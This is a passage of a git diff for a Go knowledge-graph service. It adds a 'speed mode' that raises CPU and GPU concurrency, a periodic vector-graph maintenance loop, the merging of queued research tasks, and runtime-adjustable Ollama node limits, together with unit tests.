"performance.speed.pulse", Source: "brain", Phase: "performance", Message: "Speed-Modus treibt vorhandene CPU-/GPU-Arbeit ohne künstliche Pacing-Pausen weiter", Strength: .58, Metadata: map[string]any{"algorithm": speedModeVersion, "cpu_tasks": settings.SpeedCPUWorkers, "gpu_tasks_per_node": settings.SpeedGPUInflight}}) + } +} + +func (e *Engine) backgroundOllamaContext(ctx context.Context) context.Context { + if e != nil && e.SpeedModeEnabled() { + return ctx + } + return ollama.WithLowPriority(ctx) +} + +func (e *Engine) effectiveEnrichStepDelay() time.Duration { + if e != nil && e.SpeedModeEnabled() { + return 0 + } + return e.Cfg.EnrichStepDelay +} diff --git a/internal/engine/speed_mode_test.go b/internal/engine/speed_mode_test.go new file mode 100644 index 0000000..4ed33b3 --- /dev/null +++ b/internal/engine/speed_mode_test.go @@ -0,0 +1,35 @@ +package engine + +import ( + "testing" + + "github.com/local/glpi-neural-brain/internal/config" + "github.com/local/glpi-neural-brain/internal/ollama" + "github.com/local/glpi-neural-brain/internal/workqueue" +) + +func TestApplyRuntimePerformanceRaisesAndRestoresLimits(t *testing.T) { + pool := ollama.NewPool(ollama.PoolConfig{ + Nodes: []ollama.NodeConfig{{Name: "gpu-a", URL: "http://unused"}, {Name: "gpu-b", URL: "http://unused"}}, + NodeMaxInflight: 1, + }, "qwen3:8b", "embeddinggemma") + limiter := workqueue.New(2, 8) + e := &Engine{ + Cfg: config.Config{ResearchOllamaMaxInflight: 2, ResearchOllamaQueueSize: 8, OllamaNodeMaxInflight: 1}, + Ollama: pool, + sharedWork: limiter, + } + e.applyRuntimePerformance(RuntimeSettings{SpeedMode: true, SpeedCPUWorkers: 6, SpeedGPUInflight: 3}) + status := limiter.Status() + if status.MaxInflight != 6 || status.QueueSize < 96 { + t.Fatalf("unexpected speed limiter: %+v", status) + } + if got := pool.NodeMaxInflight(); got != 3 { + t.Fatalf("gpu limit=%d want 3", got) + } + e.applyRuntimePerformance(RuntimeSettings{SpeedMode: false}) + status = limiter.Status() + if status.MaxInflight != 2 || status.QueueSize != 8 || pool.NodeMaxInflight() != 1 { + t.Fatalf("normal limits not restored: limiter=%+v gpu=%d", status, pool.NodeMaxInflight()) + } +} diff --git a/internal/engine/vector_graph.go b/internal/engine/vector_graph.go index 9773fb2..b2377ff 100644 --- a/internal/engine/vector_graph.go +++ b/internal/engine/vector_graph.go @@ -21,11 +21,17 @@ type vectorLayerExecution struct { AgentID string ComputeMS int64 FallbackReason string + LayoutMode string + LayoutDue bool } func (e *Engine) vectorLayerConfig() graph.VectorSemanticLayerConfig { + workers := 1 + if settings := e.RuntimeSettings(); settings.SpeedMode { + workers = e.effectiveSpeedCPUWorkers(settings) + } return graph.VectorSemanticLayerConfig{ - Neighbors: e.Cfg.VectorGraphNeighbors, CandidateLimit: e.Cfg.VectorGraphCandidates, + Workers: workers, Neighbors: e.Cfg.VectorGraphNeighbors, CandidateLimit: e.Cfg.VectorGraphCandidates, HashBits: e.Cfg.ClusterHashBits, HashTables: e.Cfg.ClusterHashTables, MinSimilarity: e.Cfg.VectorGraphMinSimilarity, MinAffinity: e.Cfg.VectorGraphMinAffinity, Layout: e.Cfg.VectorGraphLayout, LayoutRelax: false, LayoutBlend: e.Cfg.VectorGraphLayoutBlend, LayoutMaxShift: e.Cfg.VectorGraphLayoutMaxShift, @@ -36,8 +42,12 @@ func (e *Engine) vectorLayerConfig() graph.VectorSemanticLayerConfig { } func (e *Engine) vectorPrimaryConfig(layout bool) vectorgraph.Config { + workers := 1 + if settings := e.RuntimeSettings(); settings.SpeedMode { + workers = e.effectiveSpeedCPUWorkers(settings) + } return vectorgraph.Config{ - Neighbors: e.Cfg.VectorGraphNeighbors, CandidateLimit: e.Cfg.VectorGraphCandidates, + Workers: workers, Neighbors: e.Cfg.VectorGraphNeighbors, CandidateLimit: e.Cfg.VectorGraphCandidates, HashBits: e.Cfg.ClusterHashBits, HashTables: e.Cfg.ClusterHashTables, BandBits: 8, MinSimilarity: e.Cfg.VectorGraphMinSimilarity, MinAffinity: e.Cfg.VectorGraphMinAffinity, Layout: layout, Smoothing: .22, @@ -45,8 +55,12 @@ func (e *Engine) vectorPrimaryConfig(layout bool) vectorgraph.Config { } func (e *Engine) vectorOrphanConfig() vectorgraph.Config { + workers := 1 + if settings := e.RuntimeSettings(); settings.SpeedMode { + workers = e.effectiveSpeedCPUWorkers(settings) + } return vectorgraph.Config{ - Neighbors: e.Cfg.VectorGraphOrphanNeighbors, CandidateLimit: e.Cfg.VectorGraphOrphanCandidates, + Workers: workers, Neighbors: e.Cfg.VectorGraphOrphanNeighbors, CandidateLimit: e.Cfg.VectorGraphOrphanCandidates, HashBits: e.Cfg.ClusterHashBits, HashTables: e.Cfg.ClusterHashTables, BandBits: 8, MinSimilarity: e.Cfg.VectorGraphOrphanMinSimilarity, MinAffinity: e.Cfg.VectorGraphOrphanMinAffinity, Layout: false, @@ -104,15 +118,24 @@ func (e *Engine) rebuildVectorSemanticLayer(ctx context.Context, runID string, f layoutDue := e.Cfg.VectorGraphLayout || (e.Cfg.VectorGraphRelaxLayout && (lastVectorLayout.IsZero() || time.Since(lastVectorLayout) >= e.Cfg.VectorGraphLayoutRelaxInterval)) cfg.Layout = layoutDue cfg.LayoutRelax = !e.Cfg.VectorGraphLayout && layoutDue + layoutMode := "off" + if e.Cfg.VectorGraphLayout && layoutDue { + layoutMode = "full" + } else if cfg.LayoutRelax { + layoutMode = "relax" + } if !e.Cfg.VectorGraphAgentOffload || e.SourceInbox == nil { primary, orphan, focus := e.Graph.BuildVectorSemanticLayerLocal(cfg, filter) stats, mutations := e.Graph.ApplyVectorSemanticLayer(cfg, primary, orphan, focus) e.noteVectorLayoutApplied(layoutDue, stats.PositionUpdates) - return vectorLayerExecution{Stats: stats, Mutations: mutations}, nil + return vectorLayerExecution{Stats: stats, Mutations: mutations, LayoutMode: layoutMode, LayoutDue: layoutDue}, nil } hasAgent, availabilityErr := e.checkOnlineVectorComputeAgent(ctx) startupGrace := vectorAgentStartupGrace(!e.bootstrapIsComplete(), e.Cfg.VectorGraphAgentWait) + if e.SpeedModeEnabled() && !e.Cfg.VectorGraphAgentRequired { + startupGrace = 0 + } if availabilityErr == nil && !hasAgent && startupGrace > 0 { _ = e.requestControllerComputeCapacity(ctx, sourceagent.ComputeKindVectorGraph) e.Broker.Publish(model.Activity{Type: "vector.graph.agent.waiting", Source: "brain", Phase: "semantic-linking", Message: fmt.Sprintf("Initialer Vector-Graph wartet bis zu %s auf die Compute-Agent-Registrierung", startupGrace), Strength: .34, Metadata: map[string]any{"run_id": runID, "kind": sourceagent.ComputeKindVectorGraph, "startup_grace": startupGrace.String()}}) @@ -127,12 +150,12 @@ func (e *Engine) rebuildVectorSemanticLayer(ctx context.Context, runID string, f reason = "compute_agent_check_failed: " + availabilityErr.Error() } if e.Cfg.VectorGraphAgentRequired { - return vectorLayerExecution{FallbackReason: reason}, fmt.Errorf("vector graph agent offload required but unavailable: %s", reason) + return vectorLayerExecution{FallbackReason: reason, LayoutMode: layoutMode, LayoutDue: layoutDue}, fmt.Errorf("vector graph agent offload required but unavailable: %s", reason) } primary, orphan, focus := e.Graph.BuildVectorSemanticLayerLocal(cfg, filter) stats, mutations := e.Graph.ApplyVectorSemanticLayer(cfg, primary, orphan, focus) e.noteVectorLayoutApplied(layoutDue, stats.PositionUpdates) - return vectorLayerExecution{Stats: stats, Mutations: mutations, FallbackReason: reason}, nil + return vectorLayerExecution{Stats: stats, Mutations: mutations, FallbackReason: reason, LayoutMode: layoutMode, LayoutDue: layoutDue}, nil } entries := e.Graph.VectorSemanticEntries(filter) @@ -146,7 +169,7 @@ func (e *Engine) rebuildVectorSemanticLayer(ctx context.Context, runID string, f Entries: entries, } e.Broker.Publish(model.Activity{Type: "vector.graph.agent.queued", Source: "brain", Phase: "semantic-linking", Message: fmt.Sprintf("Vector-Graph-CPU-Job für Agent bereitgestellt · %d Embeddings", len(entries)), Strength: .46, Metadata: map[string]any{ - "run_id": runID, "kind": sourceagent.ComputeKindVectorGraph, "indexed": len(entries), "orphan_focus_candidates": len(baseOrphans), "graph_version": inputVersion, + "run_id": runID, "kind": sourceagent.ComputeKindVectorGraph, "indexed": len(entries), "orphan_focus_candidates": len(baseOrphans), "graph_version": inputVersion, "cpu_workers": request.Header.Primary.Workers, "speed_mode": e.SpeedModeEnabled(), }}) jobCtx, cancelJob := context.WithTimeout(ctx, e.Cfg.VectorGraphAgentWait) result, err := e.SourceInbox.SubmitVectorGraphJob(jobCtx, request) @@ -161,12 +184,12 @@ func (e *Engine) rebuildVectorSemanticLayer(ctx context.Context, runID string, f reason := err.Error() e.Broker.Publish(model.Activity{Type: "vector.graph.agent.fallback", Source: "brain", Phase: "semantic-linking", Message: "Agent-Vectorjob konnte nicht sicher übernommen werden; lokale CPU-Berechnung wird verwendet", Strength: .38, Metadata: map[string]any{"run_id": runID, "reason": reason, "graph_version": inputVersion}}) if e.Cfg.VectorGraphAgentRequired { - return vectorLayerExecution{FallbackReason: reason}, err + return vectorLayerExecution{FallbackReason: reason, LayoutMode: layoutMode, LayoutDue: layoutDue}, err } primary, orphan, focus := e.Graph.BuildVectorSemanticLayerLocal(cfg, filter) stats, mutations := e.Graph.ApplyVectorSemanticLayer(cfg, primary, orphan, focus) e.noteVectorLayoutApplied(layoutDue, stats.PositionUpdates) - return vectorLayerExecution{Stats: stats, Mutations: mutations, FallbackReason: reason}, nil + return vectorLayerExecution{Stats: stats, Mutations: mutations, FallbackReason: reason, LayoutMode: layoutMode, LayoutDue: layoutDue}, nil } focus := remainingOrphanFocus(baseOrphans, result.Primary.Links) @@ -174,9 +197,9 @@ func (e *Engine) rebuildVectorSemanticLayer(ctx context.Context, runID string, f e.noteVectorLayoutApplied(layoutDue, stats.PositionUpdates) e.Broker.Publish(model.Activity{Type: "vector.graph.agent.completed", Source: "agent", Phase: "semantic-linking", Message: fmt.Sprintf("Agent hat Vector-Graph-CPU-Job abgeschlossen · %d + %d Kanten", len(result.Primary.Links), len(result.Orphan.Links)), Strength: .68, Metadata: withRunMutations(map[string]any{ "run_id": runID, "agent_id": result.AgentID, "compute_duration_ms": result.DurationMS, "indexed": len(entries), - "primary_links": len(result.Primary.Links), "orphan_links": len(result.Orphan.Links), "orphan_focus": len(focus), "no_model_call": true, + "primary_links": len(result.Primary.Links), "orphan_links": len(result.Orphan.Links), "orphan_focus": len(focus), "no_model_call": true, "cpu_workers": request.Header.Primary.Workers, "speed_mode": e.SpeedModeEnabled(), }, mutations)}) - return vectorLayerExecution{Stats: stats, Mutations: mutations, Offloaded: true, AgentID: result.AgentID, ComputeMS: result.DurationMS}, nil + return vectorLayerExecution{Stats: stats, Mutations: mutations, Offloaded: true, AgentID: result.AgentID, ComputeMS: result.DurationMS, LayoutMode: layoutMode, LayoutDue: layoutDue}, nil } func (e *Engine) noteVectorLayoutApplied(layoutDue bool, updates uint64) { diff --git a/internal/engine/vector_maintenance_v10.go b/internal/engine/vector_maintenance_v10.go new file mode 100644 index 0000000..5dc61c9 --- /dev/null +++ b/internal/engine/vector_maintenance_v10.go @@ -0,0 +1,134 @@ +package engine + +import ( + "context" + "fmt" + "log/slog" + "time" + + "github.com/local/glpi-neural-brain/internal/graph" + "github.com/local/glpi-neural-brain/internal/model" +) + +func (e *Engine) effectiveVectorLayoutMode() string { + if e.Cfg.VectorGraphLayout { + return "full" + } + if e.Cfg.VectorGraphRelaxLayout { + return "relax" + } + return "off" +} + +func (e *Engine) vectorMaintenanceDue(now time.Time) (reevaluate bool, layout bool) { + if !e.Cfg.VectorGraphEnabled { + return false, false + } + e.stateMu.RLock() + lastGraph := e.lastVectorGraph + lastLayout := e.lastVectorLayout + maintenanceStartedAt := e.vectorMaintenanceStartedAt + e.stateMu.RUnlock() + reevaluate = !e.Graph.HasEdgesByOrigin(graph.VectorMathOrigin) || lastGraph.IsZero() || now.Sub(lastGraph) >= e.Cfg.VectorGraphReevaluateInterval + // Full layout is intentionally coupled to semantic reevaluation. Relax mode + // may run on its own slower/faster cadence without enabling the hard layout. + if !e.Cfg.VectorGraphLayout && e.Cfg.VectorGraphRelaxLayout { + if lastLayout.IsZero() { + // Do not fake last_vector_layout merely to delay the first relaxation. + // Keep telemetry truthful and use the process-start marker as a separate + // not-before timestamp. + layout = maintenanceStartedAt.IsZero() || now.Sub(maintenanceStartedAt) >= e.Cfg.VectorGraphLayoutRelaxInterval + } else { + layout = now.Sub(lastLayout) >= e.Cfg.VectorGraphLayoutRelaxInterval + } + } + return reevaluate, layout +} + +func (e *Engine) vectorMaintenanceLoop(ctx context.Context) { + // Give bootstrap-owned scans a short head start. If Learning is disabled the + // loop still runs and can maintain an already persisted vector layer. + initialDelay := 5 * time.Second + if e.SpeedModeEnabled() { + initialDelay = 0 + } + initial := time.NewTimer(initialDelay) + defer initial.Stop() + select { + case <-ctx.Done(): + return + case <-initial.C: + } + if err := e.runVectorMaintenance(ctx, "startup-maintenance"); err != nil { + slog.Warn("vector maintenance startup run failed", "error", err) + } + ticker := time.NewTicker(time.Minute) + defer ticker.Stop() + for { + select { + case <-ctx.Done(): + return + case <-ticker.C: + if err := e.runVectorMaintenance(ctx, "scheduled-maintenance"); err != nil { + slog.Warn("vector maintenance run failed", "error", err) + } + } + } +} + +func (e *Engine) runVectorMaintenance(ctx context.Context, trigger string) error { + reevaluateDue, layoutDue := e.vectorMaintenanceDue(time.Now().UTC()) + if !reevaluateDue && !layoutDue { + return nil + } + // Serialize with Learning Scan. Both operations may replace vector-math + // edges/positions and must never race against each other. + e.mu.Lock() + defer e.mu.Unlock() + reevaluateDue, layoutDue = e.vectorMaintenanceDue(time.Now().UTC()) + if !reevaluateDue && !layoutDue { + return nil + } + if e.Graph.CountVectorsByDimension(256) != 0 { + if e.Broker != nil { + e.Broker.Publish(model.Activity{Type: "vector.graph.maintenance.skipped", Source: "brain", Phase: "semantic-linking", Message: "Vector-Maintenance wartet auf echte Embeddings; 256D-Fallback-Vektoren werden nicht mit dem Produktionsraum gemischt", Strength: .28, Metadata: map[string]any{"trigger": trigger, "reason": "fallback_vectors_present"}}) + } + return nil + } + entries := e.Graph.VectorSemanticEntries(e.effectiveLearningFilter()) + if len(entries) < 2 { + return nil + } + started := time.Now().UTC() + runID := fmt.Sprintf("vector-maintenance-%d", started.UnixNano()) + if e.Broker != nil { + e.Broker.Publish(model.Activity{Type: "vector.graph.maintenance.started", Source: "brain", Phase: "semantic-linking", Message: "Periodische mathematische Nähepflege wurde gestartet", Strength: .4, Metadata: map[string]any{ + "run_id": runID, "trigger": trigger, "reevaluate_due": reevaluateDue, "layout_due": layoutDue, "effective_layout_mode": e.effectiveVectorLayoutMode(), "learning_enabled": e.LearningEnabled(), + }}) + } + execution, err := e.rebuildVectorSemanticLayer(ctx, runID, e.effectiveLearningFilter()) + if err != nil { + if e.Broker != nil { + e.Broker.Publish(model.Activity{Type: "vector.graph.maintenance.failed", Source: "brain", Phase: "semantic-linking", Message: "Periodische mathematische Nähepflege ist fehlgeschlagen", Strength: .32, Metadata: map[string]any{"run_id": runID, "trigger": trigger, "error": err.Error(), "agent_required": e.Cfg.VectorGraphAgentRequired}}) + } + return err + } + now := time.Now().UTC() + e.stateMu.Lock() + e.lastVectorGraph = now + e.stateMu.Unlock() + stats := execution.Stats + if e.Broker != nil { + meta := withRunMutations(map[string]any{ + "run_id": runID, "trigger": trigger, "algorithm": "mutual-knn-local-scaling-v1", "orphan_algorithm": "orphan-knn-local-scaling-v1", "no_model_call": true, + "indexed": stats.Indexed, "links": stats.Links, "reciprocal_links": stats.ReciprocalLinks, "candidate_pairs": stats.CandidatePairs, "exact_comparisons": stats.ExactComparisons, + "orphan_pass_enabled": e.Cfg.VectorGraphOrphanPass, "orphan_focus": stats.OrphanFocus, "orphan_links": stats.OrphanLinks, "orphan_exact_comparisons": stats.OrphanStats.ExactComparisons, "orphan_candidate_pairs": stats.OrphanStats.CandidatePairs, + "position_updates": stats.PositionUpdates, "layout_mode": execution.LayoutMode, "layout_applied": execution.LayoutDue && stats.PositionUpdates > 0, "periodic_refresh": reevaluateDue, "layout_refresh": layoutDue, + "reevaluate_interval": e.Cfg.VectorGraphReevaluateInterval.String(), "layout_relax_interval": e.Cfg.VectorGraphLayoutRelaxInterval.String(), "learning_enabled": e.LearningEnabled(), + "agent_offloaded": execution.Offloaded, "agent_id": execution.AgentID, "agent_compute_ms": execution.ComputeMS, "agent_fallback_reason": execution.FallbackReason, "speed_mode": e.SpeedModeEnabled(), "cpu_workers": e.vectorPrimaryConfig(execution.LayoutDue).Workers, "duration_ms": time.Since(started).Milliseconds(), + }, execution.Mutations) + e.Broker.Publish(model.Activity{Type: "vector.graph.rebuilt", Source: "brain", Phase: "semantic-linking", Message: fmt.Sprintf("Periodische Vektorpflege: %d Primär- + %d Orphan-Kanten aus %d Embeddings", stats.Links, stats.OrphanLinks, stats.Indexed), Strength: .58, Metadata: meta}) + e.Broker.Publish(model.Activity{Type: "vector.graph.maintenance.completed", Source: "brain", Phase: "semantic-linking", Message: fmt.Sprintf("Mathematische Nähepflege abgeschlossen · Layoutmodus %s · %d Positionsupdates", execution.LayoutMode, stats.PositionUpdates), Strength: .5, Metadata: meta}) + } + return nil +} diff --git a/internal/engine/vector_maintenance_v10_test.go b/internal/engine/vector_maintenance_v10_test.go new file mode 100644 index 0000000..95ebd03 --- /dev/null +++ b/internal/engine/vector_maintenance_v10_test.go @@ -0,0 +1,22 @@ +package engine + +import ( + "testing" + + "github.com/local/glpi-neural-brain/internal/config" +) + +func TestEffectiveVectorLayoutModeFullOverridesRelax(t *testing.T) { + e := &Engine{Cfg: config.Config{VectorGraphLayout: true, VectorGraphRelaxLayout: true}} + if got := e.effectiveVectorLayoutMode(); got != "full" { + t.Fatalf("full layout must win when both flags are true, got %q", got) + } + e.Cfg.VectorGraphLayout = false + if got := e.effectiveVectorLayoutMode(); got != "relax" { + t.Fatalf("expected relax mode, got %q", got) + } + e.Cfg.VectorGraphRelaxLayout = false + if got := e.effectiveVectorLayoutMode(); got != "off" { + t.Fatalf("expected off mode, got %q", got) + } +} diff --git a/internal/graph/research_tasks.go b/internal/graph/research_tasks.go index 0a713ac..b52f0ff 100644 --- a/internal/graph/research_tasks.go +++ b/internal/graph/research_tasks.go @@ -340,3 +340,74 @@ func fromNS(value int64) time.Time { } return time.Unix(0, value).UTC() } + +// MergeQueuedResearchTask folds newly discovered context into an already queued +// or deferred task. It deliberately does not mutate running/reserved work. +func (s *Store) MergeQueuedResearchTask(ctx context.Context, id string, incoming model.ResearchTask) (model.ResearchTask, bool, error) { + s.researchTaskMu.Lock() + defer s.researchTaskMu.Unlock() + existing, err := s.GetResearchTask(ctx, strings.TrimSpace(id)) + if err != nil { + return model.ResearchTask{}, false, err + } + if existing.Status != "queued" && existing.Status != "deferred" { + return existing, false, nil + } + incoming = normalizeResearchTask(incoming) + if incoming.Priority > existing.Priority { + existing.Priority = incoming.Priority + } + existing.SeedNodeIDs = uniqueExact(append(existing.SeedNodeIDs, incoming.SeedNodeIDs...)) + existing.Questions = uniqueExact(append(existing.Questions, incoming.Questions...)) + existing.QueriesDE = uniqueExact(append(existing.QueriesDE, incoming.QueriesDE...)) + existing.QueriesEN = uniqueExact(append(existing.QueriesEN, incoming.QueriesEN...)) + if strings.TrimSpace(existing.Reason) == "" { + existing.Reason = incoming.Reason + } + if existing.Metadata == nil { + existing.Metadata = map[string]any{} + } + merged := 0 + if value, ok := existing.Metadata["semantic_merge_count"].(float64); ok { + merged = int(value) + } else if value, ok := existing.Metadata["semantic_merge_count"].(int); ok { + merged = value + } + existing.Metadata["semantic_merge_count"] = merged + 1 + existing.Metadata["last_semantic_merge_topic"] = incoming.Topic + now := time.Now().UTC() + existing.UpdatedAt = now + seedJSON, _ := json.Marshal(existing.SeedNodeIDs) + questionsJSON, _ := json.Marshal(existing.Questions) + queriesDEJSON, _ := json.Marshal(existing.QueriesDE) + queriesENJSON, _ := json.Marshal(existing.QueriesEN) + metadataJSON, _ := json.Marshal(existing.Metadata) + res, err := s.db.ExecContext(ctx, `UPDATE research_tasks SET priority=?,seed_node_ids_json=?,questions_json=?,queries_de_json=?,queries_en_json=?,reason=?,metadata_json=?,updated_at_ns=? WHERE id=? AND status IN ('queued','deferred')`, + existing.Priority, string(seedJSON), string(questionsJSON), string(queriesDEJSON), string(queriesENJSON), existing.Reason, string(metadataJSON), now.UnixNano(), existing.ID) + if err != nil { + return model.ResearchTask{}, false, err + } + rows, _ := res.RowsAffected() + if rows != 1 { + latest, getErr := s.GetResearchTask(ctx, existing.ID) + return latest, false, getErr + } + return existing, true, nil +} + +// ResearchTaskPersistentTotals returns restart-stable autonomous research +// counters. These values are the source of truth for status/readiness; the +// in-memory counters remain useful only as per-process telemetry. +func (s *Store) ResearchTaskPersistentTotals(ctx context.Context) (map[string]int, error) { + var completed, failed, evidence, articles int + err := s.db.QueryRowContext(ctx, `SELECT + COALESCE(SUM(CASE WHEN status='completed' THEN 1 ELSE 0 END),0), + COALESCE(SUM(CASE WHEN status='failed' THEN 1 ELSE 0 END),0), + COALESCE(SUM(CASE WHEN status='completed' THEN evidence_count ELSE 0 END),0), + COALESCE(SUM(CASE WHEN status='completed' AND article_created=1 THEN 1 ELSE 0 END),0) + FROM research_tasks`).Scan(&completed, &failed, &evidence, &articles) + if err != nil { + return nil, err + } + return map[string]int{"completed": completed, "failed": failed, "evidence": evidence, "articles": articles}, nil +} diff --git a/internal/graph/vector_layer.go b/internal/graph/vector_layer.go index 9498905..08d0d1a 100644 --- a/internal/graph/vector_layer.go +++ b/internal/graph/vector_layer.go @@ -13,6 +13,7 @@ import ( const VectorMathOrigin = "vector-math" type VectorSemanticLayerConfig struct { + Workers int Neighbors int CandidateLimit int HashBits int @@ -111,7 +112,7 @@ func (s *Store) KnowledgeOrphanIDsIgnoringOrigin(filter NodeFilter, ignoredOrigi func vectorBuildConfig(cfg VectorSemanticLayerConfig) vectorgraph.Config { return vectorgraph.Config{ - Neighbors: cfg.Neighbors, CandidateLimit: cfg.CandidateLimit, + Workers: cfg.Workers, Neighbors: cfg.Neighbors, CandidateLimit: cfg.CandidateLimit, HashBits: cfg.HashBits, HashTables: cfg.HashTables, BandBits: 8, MinSimilarity: cfg.MinSimilarity, MinAffinity: cfg.MinAffinity, Layout: cfg.Layout, Smoothing: .22, @@ -120,7 +121,7 @@ func vectorBuildConfig(cfg VectorSemanticLayerConfig) vectorgraph.Config { func orphanVectorBuildConfig(cfg VectorSemanticLayerConfig) vectorgraph.Config { return vectorgraph.Config{ - Neighbors: cfg.OrphanNeighbors, CandidateLimit: cfg.OrphanCandidateLimit, + Workers: cfg.Workers, Neighbors: cfg.OrphanNeighbors, CandidateLimit: cfg.OrphanCandidateLimit, HashBits: cfg.HashBits, HashTables: cfg.HashTables, BandBits: 8, MinSimilarity: cfg.OrphanMinSimilarity, MinAffinity: cfg.OrphanMinAffinity, Layout: false, diff --git a/internal/ollama/client.go b/internal/ollama/client.go index 851158c..a4125ae 100644 --- a/internal/ollama/client.go +++ b/internal/ollama/client.go @@ -153,6 +153,24 @@ func (c *Client) SetSharedLimiter(limiter *workqueue.Limiter) { c.mu.Unlock() } +// SetNodeMaxInflight changes the live per-node reservation ceiling. Existing +// requests are not cancelled when lowering the limit; new acquisitions wait +// until inflight falls below the new ceiling. +func (c *Client) SetNodeMaxInflight(limit int) { + if limit < 1 { + limit = 1 + } + c.mu.Lock() + c.cfg.NodeMaxInflight = limit + c.mu.Unlock() +} + +func (c *Client) NodeMaxInflight() int { + c.mu.Lock() + defer c.mu.Unlock() + return c.cfg.NodeMaxInflight +} + func (c *Client) Start(ctx context.Context) { go func() { _ = c.refreshHealth(ctx) @@ -274,18 +292,19 @@ func (c *Client) PoolStatus() map[string]any { statuses := c.NodeStatuses() c.mu.Lock() normalWaiters, lowWaiters := c.normalWaiters, c.lowWaiters + nodeMaxInflight := c.cfg.NodeMaxInflight c.mu.Unlock() healthy, available := 0, 0 now := time.Now() for _, s := range statuses { if s.Healthy && s.Compatible { healthy++ - if now.After(s.CooldownUntil) && s.Inflight < c.cfg.NodeMaxInflight { + if now.After(s.CooldownUntil) && s.Inflight < nodeMaxInflight { available++ } } } - status := map[string]any{"routing_mode": c.cfg.RoutingMode, "node_count": len(statuses), "healthy_nodes": healthy, "available_nodes": available, "node_max_inflight": c.cfg.NodeMaxInflight, "failover_enabled": c.cfg.FailoverEnabled, "normal_waiters": normalWaiters, "low_priority_waiters": lowWaiters, "nodes": statuses} + status := map[string]any{"routing_mode": c.cfg.RoutingMode, "node_count": len(statuses), "healthy_nodes": healthy, "available_nodes": available, "node_max_inflight": nodeMaxInflight, "failover_enabled": c.cfg.FailoverEnabled, "normal_waiters": normalWaiters, "low_priority_waiters": lowWaiters, "nodes": statuses} c.mu.Lock() limiter := c.sharedLimiter c.mu.Unlock() diff --git a/internal/ollama/client_test.go b/internal/ollama/client_test.go index 78fc14a..2c3859c 100644 --- a/internal/ollama/client_test.go +++ b/internal/ollama/client_test.go @@ -295,3 +295,18 @@ func TestAcquireNodeWaitsForHealthyNodeCooldown(t *testing.T) { } client.releaseNode(got, time.Millisecond, nil) } + +func TestNodeMaxInflightCanChangeAtRuntime(t *testing.T) { + client := NewPool(PoolConfig{Nodes: []NodeConfig{{Name: "only", URL: "http://unused"}}, NodeMaxInflight: 1}, "qwen3:8b", "embeddinggemma") + if got := client.NodeMaxInflight(); got != 1 { + t.Fatalf("initial node max inflight=%d", got) + } + client.SetNodeMaxInflight(7) + if got := client.NodeMaxInflight(); got != 7 { + t.Fatalf("runtime node max inflight=%d", got) + } + client.SetNodeMaxInflight(0) + if got := client.NodeMaxInflight(); got != 1 { + t.Fatalf("invalid runtime limit should clamp to 1, got %d", got) + } +} diff --git a/internal/sourceagent/agent.go b/internal/sourceagent/agent.go index 4aa5acd..07126e4 100644 --- a/internal/sourceagent/agent.go +++ b/internal/sourceagent/agent.go @@ -21,6 +21,7 @@ import ( "sort" "strings" "sync" + "sync/atomic" "time" "github.com/local/glpi-neural-brain/internal/research" @@ -63,6 +64,7 @@ type Runner struct { controller *DockerController controllerMu sync.RWMutex controllerStatus DockerControllerStatus + computeBusy atomic.Bool } type runnerDiagnostics struct { @@ -255,6 +257,7 @@ func (r *Runner) Status() map[string]any { "last_connection_error_at": d.LastConnectionErrorAt, "last_connection_error": d.LastConnectionError, "last_task_run_at": d.LastTaskRunAt, "last_task_error": d.LastTaskError, "compute_enabled": r.cfg.ComputeEnabled, "compute_poll_interval": r.cfg.ComputePollInterval, + "speed_mode": remote.Performance.SpeedMode, "speed_cpu_tasks": r.effectiveConcurrency(), "last_compute_run_at": d.LastComputeRunAt, "last_compute_duration_ms": d.LastComputeDurationMS, "last_compute_error": d.LastComputeError, "compute_completed": d.ComputeCompleted, "docker_controller_enabled": r.cfg.DockerControllerEnabled, @@ -267,6 +270,10 @@ func (r *Runner) Status() map[string]any { func (r *Runner) loop(ctx context.Context) { refresh := time.NewTicker(r.cfg.ConfigRefresh) defer refresh.Stop() + performance := time.NewTicker(5 * time.Second) + defer performance.Stop() + computeFast := time.NewTicker(250 * time.Millisecond) + defer computeFast.Stop() run := time.NewTicker(30 * time.Second) defer run.Stop() heartbeat := time.NewTicker(time.Minute) @@ -288,7 +295,7 @@ func (r *Runner) loop(ctx context.Context) { } r.runDue(ctx) if r.cfg.ComputeEnabled { - r.runComputeOnce(ctx) + r.triggerCompute(ctx) } if r.cfg.DockerControllerEnabled { r.runControllerOnce(ctx) @@ -301,6 +308,17 @@ func (r *Runner) loop(ctx context.Context) { if err := r.refreshConfig(ctx); err != nil { slog.Warn("source agent config refresh failed", "brain_url", r.cfg.BrainURL, "error", err) } + case <-performance.C: + if err := r.refreshPerformance(ctx); err != nil { + slog.Debug("source agent performance refresh failed", "error", err) + } + case <-computeFast.C: + r.mu.RLock() + speed := r.remote.Performance.SpeedMode + r.mu.RUnlock() + if speed && r.cfg.ComputeEnabled { + r.triggerCompute(ctx) + } case <-heartbeat.C: if err := r.sendHeartbeat(ctx, Heartbeat{AgentID: r.cfg.AgentID, Version: r.cfg.Version, Status: "online", Metadata: map[string]any{"configured_tasks": len(r.currentTasks())}}); err != nil { slog.Warn("source agent heartbeat failed", "brain_url", r.cfg.BrainURL, "error", err) @@ -309,7 +327,7 @@ func (r *Runner) loop(ctx context.Context) { r.runDue(ctx) case <-compute.C: if r.cfg.ComputeEnabled { - r.runComputeOnce(ctx) + r.triggerCompute(ctx) } case <-controller.C: if r.cfg.DockerControllerEnabled { @@ -364,12 +382,50 @@ func (r *Runner) refreshConfig(ctx context.Context) error { r.mu.Unlock() r.saveCachedConfig(cfg) r.recordConfigResult(nil) + if cfg.Performance.SpeedMode && r.cfg.ComputeEnabled { + r.triggerCompute(ctx) + } if err := r.sendHeartbeat(ctx, Heartbeat{AgentID: r.cfg.AgentID, Version: r.cfg.Version, Status: "online", Metadata: map[string]any{"configured_tasks": len(cfg.Tasks)}}); err != nil { slog.Warn("source agent heartbeat after config refresh failed", "error", err) } return nil } +func (r *Runner) refreshPerformance(ctx context.Context) error { + req, err := http.NewRequestWithContext(ctx, http.MethodGet, r.cfg.BrainURL+"/api/v1/agent/performance", nil) + if err != nil { + return err + } + r.auth(req) + resp, err := r.http.Do(req) + if err != nil { + return err + } + defer resp.Body.Close() + if resp.StatusCode/100 != 2 { + b, _ := io.ReadAll(io.LimitReader(resp.Body, 4096)) + return fmt.Errorf("brain performance HTTP %d: %s", resp.StatusCode, strings.TrimSpace(string(b))) + } + var perf AgentPerformance + if err := json.NewDecoder(io.LimitReader(resp.Body, 64<<10)).Decode(&perf); err != nil { + return err + } + if perf.CPUWorkers < 1 { + 